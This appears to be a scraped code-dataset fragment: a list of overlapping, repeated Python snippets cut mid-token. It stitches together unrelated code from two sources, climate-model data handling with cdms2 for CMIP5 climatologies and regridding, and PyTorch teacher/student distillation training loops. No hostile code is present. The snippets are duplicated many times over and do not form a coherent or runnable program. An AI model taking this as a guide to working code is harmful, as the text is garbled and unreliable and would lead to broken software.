+ targetGrid + '.nc') g = cdms.open(model_output_location,'w+') dm.id = var", "def mkdir_fcn(path): try: os.mkdir(path) except: pass return #### GET INHOUSE DATA THAT HAS", "\"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory = mod_data_path D.test_case = test_case data_location =", "except: dm = f(var) f.close() return dm #### GET CMIP5 DATA def get_cmip5_model_clim(data_location,model_version,", "data_location + '*' + model_version + '*' + var + '.*.nc').readlines() pd =", "pd = data_location # if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f =", "#### GET CMIP5 DATA def get_cmip5_model_clim(data_location,model_version, var): lst = os.popen('ls ' + data_location", "'*' + var + '.*.nc').readlines() pd = lst[0][:-1] #data_location # if var in", "dm ######################################################################## #### GET OBSERVATIONAL DATA def output_model_clims(dm,var,Tdir,F, model_version, targetGrid): pathout = Tdir()", "try: os.mkdir(path) except: pass return #### GET INHOUSE DATA THAT HAS BEEN TRANSFORMED/INTERPOLATED", "def get_cmip5_model_clim(data_location,model_version, var): lst = os.popen('ls ' + data_location + '*' + model_version", "+ '.' + targetGrid + '.nc') g = cdms.open(model_output_location,'w+') dm.id = var g.write(dm)", "variable F.ext='nc' F.period = '1980-2005' filename = F() return data_location,filename def output_interpolated_model_data(dm, var,", "+ data_location + '*' + model_version + '*' + var + '.*.nc').readlines() pd", "GET OBSERVATIONAL DATA def output_model_clims(dm,var,Tdir,F, model_version, targetGrid): pathout = Tdir() try: os.mkdir(pathout) except:", "CMIP5 DATA def get_cmip5_model_clim(data_location,model_version, var): lst = os.popen('ls ' + data_location + '*'", "dm = f(var) f.close() print pd return dm ######################################################################## #### GET OBSERVATIONAL DATA", "model_output_location = string.replace(model_output_location,'.nc','.' + regrid_method + '.' + targetGrid + '.nc') g =", "Tdir() try: os.mkdir(pathout) except: pass F.variable = var F.model_version = model_version nm =", "F.model_version = model_version nm = F() nm = string.replace(nm,'.nc','.' + targetGrid + '.nc')", "g = cdms.open(pathout + '/' + nm,'w+') g.write(dm) g.close() def model_output_structure(dir_template, file_template, model_version,", "F.variable = variable F.ext='nc' F.period = '1980-2005' filename = F() return data_location,filename def", "import string, os import ESMP #### MAKE DIRECTORY def mkdir_fcn(path): try: os.mkdir(path) except:", "mod_data_path D.test_case = test_case data_location = D() ### CONSTRUCT FILENAME F = genutil.StringConstructor(file_template)", "= os.popen('ls ' + data_location + '*' + model_version + '*' + var", "= f(var + '_ac') except: dm = f(var) f.close() print pd return dm", "'.nc') dm.id = var g = cdms.open(pathout + '/' + nm,'w+') g.write(dm) g.close()", "+ '.*.nc').readlines() pd = lst[0][:-1] #data_location # if var in ['tos','sos','zos']: pd =", "f.close() print pd return dm ######################################################################## #### GET OBSERVATIONAL DATA def output_model_clims(dm,var,Tdir,F, model_version,", "dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory = mod_data_path D.test_case = test_case", "D.test_case = test_case data_location = D() ### CONSTRUCT FILENAME F = genutil.StringConstructor(file_template) F.model_version", "return #### GET INHOUSE DATA THAT HAS BEEN TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var): pd =", "if variable in ['tos','sos','zos']: F.table_realm = 'ocn.Omon' F.variable = variable F.ext='nc' F.period =", "dm.id = var g = cdms.open(pathout + '/' + nm,'w+') g.write(dm) g.close() def", "= f(var + '_ac') except: dm = f(var) f.close() return dm #### GET", "+ model_version + '*' + var + '.*.nc').readlines() pd = lst[0][:-1] #data_location #", "nm = F() nm = string.replace(nm,'.nc','.' + targetGrid + '.nc') dm.id = var", "<gh_stars>0 import cdms2 as cdms import string, os import ESMP #### MAKE DIRECTORY", "dm = f(var + '_ac') except: dm = f(var) f.close() print pd return", "string, os import ESMP #### MAKE DIRECTORY def mkdir_fcn(path): try: os.mkdir(path) except: pass", "string.replace(model_output_location,'.nc','.' + regrid_method + '.' + targetGrid + '.nc') g = cdms.open(model_output_location,'w+') dm.id", "#### MAKE DIRECTORY def mkdir_fcn(path): try: os.mkdir(path) except: pass return #### GET INHOUSE", "= genutil.StringConstructor(file_template) F.model_version = model_version F.table_realm = 'atm.Amon' if variable in ['tos','sos','zos']: F.table_realm", "string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd) try: dm = f(var + '_ac') except: dm =", "F.period = '1980-2005' filename = F() return data_location,filename def output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location): model_output_location", "as cdms import string, os import ESMP #### MAKE DIRECTORY def mkdir_fcn(path): try:", "model_version, targetGrid): pathout = Tdir() try: os.mkdir(pathout) except: pass F.variable = var F.model_version", "cdms import string, os import ESMP #### MAKE DIRECTORY def mkdir_fcn(path): try: os.mkdir(path)", "+ '_ac') except: dm = f(var) f.close() print pd return dm ######################################################################## ####", "PATH D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory = mod_data_path D.test_case = test_case data_location = D() ### CONSTRUCT", "= model_version nm = F() nm = string.replace(nm,'.nc','.' + targetGrid + '.nc') dm.id", "except: pass return #### GET INHOUSE DATA THAT HAS BEEN TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var):", "get_our_model_clim(data_location,var): pd = data_location # if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f", "cdms.open(pathout + '/' + nm,'w+') g.write(dm) g.close() def model_output_structure(dir_template, file_template, model_version, variable): dir_template", "output_model_clims(dm,var,Tdir,F, model_version, targetGrid): pathout = Tdir() try: os.mkdir(pathout) except: pass F.variable = var", "os import ESMP #### MAKE DIRECTORY def mkdir_fcn(path): try: os.mkdir(path) except: pass return", "+ '*' + model_version + '*' + var + '.*.nc').readlines() pd = lst[0][:-1]", "'.*.nc').readlines() pd = lst[0][:-1] #data_location # if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon')", "string.replace(nm,'.nc','.' + targetGrid + '.nc') dm.id = var g = cdms.open(pathout + '/'", "D.root_modeling_group_clim_directory = mod_data_path D.test_case = test_case data_location = D() ### CONSTRUCT FILENAME F", "GET INHOUSE DATA THAT HAS BEEN TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var): pd = data_location #", "= var g = cdms.open(pathout + '/' + nm,'w+') g.write(dm) g.close() def model_output_structure(dir_template,", "'_ac') except: dm = f(var) f.close() print pd return dm ######################################################################## #### GET", "if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd) try: dm =", "'1980-2005' filename = F() return data_location,filename def output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location): model_output_location = string.replace(model_output_location,'.nc','.'", "var, targetGrid,regrid_method,model_output_location): model_output_location = string.replace(model_output_location,'.nc','.' + regrid_method + '.' + targetGrid + '.nc')", "return data_location,filename def output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location): model_output_location = string.replace(model_output_location,'.nc','.' + regrid_method + '.'", "= string.replace(model_output_location,'.nc','.' + regrid_method + '.' + targetGrid + '.nc') g = cdms.open(model_output_location,'w+')", "pd = string.replace(pd,'atm.Amon','ocn.Omon') f = cdms.open(pd) try: dm = f(var + '_ac') except:", "model_version F.table_realm = 'atm.Amon' if variable in ['tos','sos','zos']: F.table_realm = 'ocn.Omon' F.variable =", "try: dm = f(var + '_ac') except: dm = f(var) f.close() print pd", "D=genutil.StringConstructor(dir_template) D.root_modeling_group_clim_directory = mod_data_path D.test_case = test_case data_location = D() ### CONSTRUCT FILENAME", "DIRECTORY def mkdir_fcn(path): try: os.mkdir(path) except: pass return #### GET INHOUSE DATA THAT", "TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var): pd = data_location # if var in ['tos','sos','zos']: pd =", "#### GET INHOUSE DATA THAT HAS BEEN TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var): pd = data_location", "f(var) f.close() return dm #### GET CMIP5 DATA def get_cmip5_model_clim(data_location,model_version, var): lst =", "g.write(dm) g.close() def model_output_structure(dir_template, file_template, model_version, variable): dir_template = \"%(root_modeling_group_clim_directory)/%(test_case)/\" ### CONSTRUCT PATH", "var): lst = os.popen('ls ' + data_location + '*' + model_version + '*'", "def get_our_model_clim(data_location,var): pd = data_location # if var in ['tos','sos','zos']: pd = string.replace(pd,'atm.Amon','ocn.Omon')", "f = cdms.open(pd) try: dm = f(var + '_ac') except: dm = f(var)", "data_location = D() ### CONSTRUCT FILENAME F = genutil.StringConstructor(file_template) F.model_version = model_version F.table_realm", "= D() ### CONSTRUCT FILENAME F = genutil.StringConstructor(file_template) F.model_version = model_version F.table_realm =", "print pd return dm ######################################################################## #### GET OBSERVATIONAL DATA def output_model_clims(dm,var,Tdir,F, model_version, targetGrid):", "f(var) f.close() print pd return dm ######################################################################## #### GET OBSERVATIONAL DATA def output_model_clims(dm,var,Tdir,F,", "return dm #### GET CMIP5 DATA def get_cmip5_model_clim(data_location,model_version, var): lst = os.popen('ls '", "try: dm = f(var + '_ac') except: dm = f(var) f.close() return dm", "['tos','sos','zos']: F.table_realm = 'ocn.Omon' F.variable = variable F.ext='nc' F.period = '1980-2005' filename =", "f(var + '_ac') except: dm = f(var) f.close() print pd return dm ########################################################################", "nm = string.replace(nm,'.nc','.' + targetGrid + '.nc') dm.id = var g = cdms.open(pathout", "F.ext='nc' F.period = '1980-2005' filename = F() return data_location,filename def output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location):", "var + '.*.nc').readlines() pd = lst[0][:-1] #data_location # if var in ['tos','sos','zos']: pd", "= f(var) f.close() print pd return dm ######################################################################## #### GET OBSERVATIONAL DATA def", "HAS BEEN TRANSFORMED/INTERPOLATED def get_our_model_clim(data_location,var): pd = data_location # if var in ['tos','sos','zos']:", "+ targetGrid + '.nc') dm.id = var g = cdms.open(pathout + '/' +", "data_location,filename def output_interpolated_model_data(dm, var, targetGrid,regrid_method,model_output_location): model_output_location = string.replace(model_output_location,'.nc','.' + regrid_method + '.' +", "= cdms.open(pathout + '/' + nm,'w+') g.write(dm) g.close() def model_output_structure(dir_template, file_template, model_version, variable):", "= model_version F.table_realm = 'atm.Amon' if variable in ['tos','sos','zos']: F.table_realm = 'ocn.Omon' F.variable", "'.' + targetGrid + '.nc') g = cdms.open(model_output_location,'w+') dm.id = var g.write(dm) g.close()", "DATA def output_model_clims(dm,var,Tdir,F, model_version, targetGrid): pathout = Tdir() try: os.mkdir(pathout) except: pass F.variable", "targetGrid + '.nc') dm.id = var g = cdms.open(pathout + '/' + nm,'w+')", "os.mkdir(path) except: pass return #### GET INHOUSE DATA THAT HAS BEEN TRANSFORMED/INTERPOLATED def", "= var F.model_version = model_version nm = F() nm = string.replace(nm,'.nc','.' + targetGrid", "dm #### GET CMIP5 DATA def get_cmip5_model_clim(data_location,model_version, var): lst = os.popen('ls ' +", "'*' + model_version + '*' + var + '.*.nc').readlines() pd = lst[0][:-1] #data_location", "DATA def get_cmip5_model_clim(data_location,model_version, var): lst = os.popen('ls ' + data_location + '*' +", "except: dm = f(var) f.close() print pd return dm ######################################################################## #### GET OBSERVATIONAL", "OBSERVATIONAL DATA def output_model_clims(dm,var,Tdir,F, model_version, targetGrid): pathout = Tdir() try: os.mkdir(pathout) except: pass", "= cdms.open(pd) try: dm = f(var + '_ac') except: dm = f(var) f.close()" ]
[]
[ "= targets.to(opt.device) outputs = model(inputs) loss = criterion(outputs,targets) loss_total+=loss.item() batch_cnt += 1 #_,", "targets = targets.to(opt.device) outputs = model(inputs) loss = criterion(outputs,targets) loss_total+=loss.item() batch_cnt += 1", "loss_total[j] += loss.item() batch_cnt += 1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i,", "students[j].module return students_best, accs_best def train_model_search_reg(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay,", "acc_best: acc_best = acc model.module.acc = acc model_best = model.module torch.save(model_best, save_path) return", "model_best, acc_best def train_model_student(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule,", "sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion = nn.MSELoss()", "np.mean(latency) return lat def train_model_teacher(model_, dataset, save_path, epochs=60, lr=0.005, momentum=0.9, weight_decay=5e-4): acc_best =", "lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4) elif lr_schedule == 'linear': batch_cnt", "inputs = inputs.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None with torch.no_grad(): teacher_outputs", "for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad()", "init_model(model) for i in range(1, epochs + 1): model.train() #if lr_schedule == 'step':", "targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs)", "if isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu') if module.bias is not None: nn.init.constant_(module.bias, 0)", "batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs = None with", "return lat def train_model_teacher(model_, dataset, save_path, epochs=60, lr=0.005, momentum=0.9, weight_decay=5e-4): acc_best = 0", "inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) train_loss = criterion(outputs,targets) train_loss_total+=train_loss.item()", "return model def test_model(model, dataset): model.eval() correct = 0 total = 0 loader", "= [None] * n for j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion", "predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule == 'linear': loss_total +=", "acc_best = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion1", "0 batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device)", "[sys.maxsize] * n students_best = [None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students =", "loss_total/batch_cnt def test_model_image(model, dataset): model.eval() correct = 0 total = 0 loader =", "== 'linear': scheduler.step() loss_total += loss.item() batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total", "outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0) equal_v = predicted.eq(targets)", "optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif optimization == 'Adam': optimizer = optim.Adam(model.parameters(),", "'KD' or loss_criterion == 'l2': criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion", "epochs=60, lr=0.005, momentum=0.9, weight_decay=5e-4): acc_best = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device))", "optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total += loss.item() batch_cnt += 1 opt.writer.add_scalar('training_%d/loss'", "inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) #i_, predicted = outputs.max(1) #total", "= inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) _, predicted = outputs.max(1)", "(inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs)", "= set() with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device)", "optimization == 'Adam': optimizers = [optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay) for j in range(n)] if", "loss2 = criterion2(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step() #if lr_schedule", "j in range(n): if lr_schedule == 'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs)", "_, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() acc = 100.0", "schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD': loss1 = criterion(student_outputs,", "if loss_criterion == 'KD': criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion =", "targets) in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) start_time = time.time() outputs", "not None: nn.init.constant_(module.bias, 0) elif isinstance(module, nn.BatchNorm2d): nn.init.constant_(module.weight, 1) nn.init.constant_(module.bias, 0) elif isinstance(module,", "targets = targets.to(opt.device) for j in range(n): if lr_schedule == 'linear': schedulers[j].step() optimizers[j].zero_grad()", "0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs = None with torch.no_grad(): teacher_outputs", "lat = np.mean(latency) return lat def train_model_teacher(model_, dataset, save_path, epochs=60, lr=0.005, momentum=0.9, weight_decay=5e-4):", "else: raise NotImplementedError('Unknown dataset!') train_loader = dataset.train_loader train_correct = 0 train_total = 0", "targets.size(0) #correct += predicted.eq(targets).sum().item() #acc = 100.0 * correct / total return loss_total/batch_cnt", "in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) _,", "model.eval() correct = 0 total = 0 loader = None if hasattr(dataset, 'test_loader'):", "model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_search(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr,", "teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step() #if lr_schedule == 'linear': scheduler.step()", "optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 model_best = None", "= targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0)", "loss.backward() optimizers[j].step() loss_total[j] += loss.item() batch_cnt += 1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss'", "inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) _, predicted =", "* correct / total return loss_total/batch_cnt def test_model_image(model, dataset): model.eval() correct = 0", "% (idx), loss_total/batch_cnt , i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc,", "loss_total = 0 batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs", "loss_total += loss.item() #batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total, i) test_loss =", "loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j] += loss.item() batch_cnt += 1 for", "loss_total/batch_cnt , i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('train", "criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion = nn.CrossEntropyLoss() if optimization ==", "train_model_teacher(model_, dataset, save_path, epochs=60, lr=0.005, momentum=0.9, weight_decay=5e-4): acc_best = 0 model_best = None", "if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else:", "',acc) if acc > acc_best: acc_best = acc model.module.acc = acc model_best =", "predicted = outputs.max(1) total += targets.size(0) equal_v = predicted.eq(targets) correct += equal_v.sum().item() j", "'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') train_loader = dataset.train_loader train_correct =", "train_model_student_regression(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best =", "optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total += loss.item() #batch_cnt += 1 opt.writer.add_scalar('training_%d/loss'", "opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j] / batch_cnt, i) acc = test_model(students[j], dataset) #print(\"acc\"+str(j)+\":", "gamma=0.1) for i in range(1, epochs + 1): print('epochs ', i) model.train() loss_total", "total += targets.size(0) equal_v = predicted.eq(targets) correct += equal_v.sum().item() j = 0 #print(equal_v", "= criterion(student_outputs, teacher_outputs) loss2 = criterion(student_outputs, targets) loss = loss1+loss2 elif loss_criterion ==", "= inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion1(outputs, targets)", "torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD': criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion", "acc, i) print('loss: ', loss_total/batch_cnt) print('acc: ',acc) if acc > acc_best: acc_best =", "loss_total = 0 batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs", "* batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda)", "loss_best = [sys.maxsize] * n students_best = [None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device))", "# torch.save(model.mudule, 'temp_save/base.pth') with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs =", "range(n)] for i in range(1, epochs + 1): print(\"epochs:\",i) teacher.eval() for j in", "= inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) train_loss = criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt", "0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() if optimization ==", "inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) loss = criterion(outputs,targets) loss_total+=loss.item()", "', loss_total/batch_cnt) #print('acc: ',acc) if acc > acc_best: acc_best = acc model.module.acc =", "#print(\"acc\"+str(j)+\": \", acc) opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if acc > accs_best[j]:", "= None loss_total = 0 batch_cnt = 0 criterion = nn.MSELoss() if hasattr(dataset,", "acc model.module.acc = acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def", "# model_best = model.module # torch.save(model_best, 'temp_save/temp.pth') #if train_acc == 100: # torch.save(model.mudule,", "loss1+loss2 elif loss_criterion == 'CE': loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j] +=", "criterion1(outputs, targets) loss2 = criterion2(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step()", "criterion(student_outputs, teacher_outputs) elif loss_criterion == 'CE': loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j]", "predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets)", "loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc", "* n students_best = [None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students = [None]", "loss.backward() optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total += loss.item() #batch_cnt += 1", "else: raise NotImplementedError('Unknown dataset!') miss = set() with torch.no_grad(): for batch_idx, (inputs, targets)", "predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() acc = 100.0 *", "range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j], i) test_loss = test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\": \",", "= optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4)", "idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 best_train_acc =", "= test_loss model_best = model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_search(teacher_, students_,", "total += targets.size(0) correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step() #if", "#print(\"train acc:\", train_acc) #if train_acc > best_train_acc: # best_train_acc = train_acc # model_best", "outputs = model(inputs) #i_, predicted = outputs.max(1) #total += targets.size(0) #correct += predicted.eq(targets).sum().item()", "+= 1 train_loss_avg = train_loss_total / train_batch_cnt print(\"train loss:\", train_loss_avg) with torch.no_grad(): for", "> acc_best: acc_best = acc model.module.acc = acc model_best = model.module torch.save(model_best, save_path)", "= students[j].module return students_best, accs_best def train_model_search_reg(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum,", "'Adam': optimizers = [optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay) for j in range(n)] if lr_schedule ==", "criterion(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step() #if lr_schedule == 'linear':", "torch.save(model_best, save_path) return model_best, acc_best def train_model_student_regression(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr,", "train_correct = 0 train_total = 0 best_train_acc = 0 #print(len(loader)) with torch.no_grad(): for", "if loss_criterion == 'KD': loss1 = criterion(student_outputs, teacher_outputs) loss2 = criterion(student_outputs, targets) loss", "model_best, acc_best def train_model_student_kd_reg(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay,", ", i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('train loss:", "with torch.no_grad(): teacher_outputs = teacher(inputs) elif loss_criterion == 'CE': targets = targets.to(opt.device) for", "= len(dataset.train_loader) n_total_exp = epochs * batch_cnt lr_lambda = lambda n_exp_seen: 1 -", "optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) for i in", "if test_loss > loss_best: loss_best = test_loss model.module.loss = test_loss model_best = model.module", "save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 best_train_acc", "= nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) for", "loss_criterion=opt.tr_se_loss_criterion): n = len(students_) accs_best = [0.0] * n students_best = [None] *", "momentum=momentum, weight_decay=weight_decay) for j in range(n)] elif optimization == 'Adam': optimizers = [optim.Adam(students[j].parameters(),", "correct = 0 total = 0 loader = None if hasattr(dataset, 'test_loader'): loader", "loss_total/batch_cnt) print('acc: ',acc) if acc > acc_best: acc_best = acc model.module.acc = acc", "_, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() loss = criterion(outputs,", "lr=lr, momentum=momentum, weight_decay=weight_decay) for j in range(n)] elif optimization == 'Adam': optimizers =", "optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10,", "i in range(1, epochs + 1): print('epoch',i) model.train() #if lr_schedule == 'step': #", "(opt.i, j), loss_total[j], i) test_loss = test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\": \", test_loss) #opt.writer.add_scalar('step_%d/sample_%d_acc' %", "# scheduler.step() loss_total = 0 #batch_cnt = 0 for batch_idx, (inputs, targets) in", "/ batch_cnt, i) acc = test_model(model, dataset) opt.writer.add_scalar('training/acc', acc, i) print(\"loss: \", loss_total/batch_cnt)", "range(1, epochs + 1): print(\"epochs:\",i) teacher.eval() for j in range(n): students[j].train() loss_total =", "loss = loss1 + loss2 loss.backward() optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total", "lr_lambda=lr_lambda) if from_scratch: init_model(model) for i in range(1, epochs + 1): print('epoch',i) model.train()", "optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) elif", "+= equal_v.sum().item() j = 0 #print(equal_v for i in equal_v: if not i:", "if lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs * batch_cnt lr_lambda", "torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion = nn.MSELoss() if optimization == 'SGD': optimizer =", "(inputs, targets) in enumerate(train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs)", "#correct += predicted.eq(targets).sum().item() #acc = 100.0 * correct / total return loss_total/batch_cnt def", "acc_best def train_model_student(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, 